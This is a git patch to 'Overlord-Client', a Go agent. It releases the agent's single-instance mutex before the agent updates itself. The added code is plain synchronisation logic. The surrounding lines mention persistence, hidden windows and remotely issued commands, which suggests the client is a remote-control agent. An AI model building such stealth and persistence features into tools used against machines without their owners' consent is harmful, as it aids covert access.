From 877a56e123c2deaecd6e3d7dafe59522d78a4866 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Tue, 5 May 2026 20:22:27 -0500 Subject: [PATCH] fix updating --- .../cmd/agent/handlers/agent_update.go | 2 ++ Overlord-Client/cmd/agent/main.go | 1 + Overlord-Client/cmd/agent/mutex/mutex.go | 22 +++++++++++++++++++ 3 files changed, 25 insertions(+) diff --git a/Overlord-Client/cmd/agent/handlers/agent_update.go b/Overlord-Client/cmd/agent/handlers/agent_update.go index 03067db..615a6bf 100644 --- a/Overlord-Client/cmd/agent/handlers/agent_update.go +++ b/Overlord-Client/cmd/agent/handlers/agent_update.go @@ -12,6 +12,7 @@ import ( "strings" "time" + "overlord-client/cmd/agent/mutex" "overlord-client/cmd/agent/persistence" agentRuntime "overlord-client/cmd/agent/runtime" "overlord-client/cmd/agent/wire" @@ -44,6 +45,7 @@ func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, defer recoverAndLog("agent update", nil) // Let the command_result flush before beginning process replacement. time.Sleep(250 * time.Millisecond) + mutex.ReleaseGlobal() if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence, hideWindow); err != nil { log.Printf("agent_update: %v", err) return diff --git a/Overlord-Client/cmd/agent/main.go b/Overlord-Client/cmd/agent/main.go index 2fba5b8..b749b39 100644 --- a/Overlord-Client/cmd/agent/main.go +++ b/Overlord-Client/cmd/agent/main.go @@ -42,6 +42,7 @@ func main() { return } defer releaseMutex() + mutex.SetGlobalRelease(releaseMutex) for { func() { diff --git a/Overlord-Client/cmd/agent/mutex/mutex.go b/Overlord-Client/cmd/agent/mutex/mutex.go index b32a41a..01752a3 100644 --- a/Overlord-Client/cmd/agent/mutex/mutex.go +++ b/Overlord-Client/cmd/agent/mutex/mutex.go @@ -3,10 +3,32 @@ package mutex import ( "fmt" "strings" + "sync" ) const maxMutexLength = 64 +var ( + globalRelease func() + globalMu sync.Mutex +) + +func SetGlobalRelease(fn func()) { + globalMu.Lock() + globalRelease = fn + globalMu.Unlock() +} + +func ReleaseGlobal() { + globalMu.Lock() + fn := globalRelease + globalRelease = nil + globalMu.Unlock() + if fn != nil { + fn() + } +} + func sanitizeName(name string) (string, error) { trimmed := strings.TrimSpace(name) if trimmed == "" {